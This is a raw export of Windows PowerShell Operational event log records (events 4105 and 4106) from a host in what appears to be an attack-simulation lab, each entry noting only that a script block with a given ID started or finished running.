Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047145
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047139
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047117
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047115
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047114
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047097
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
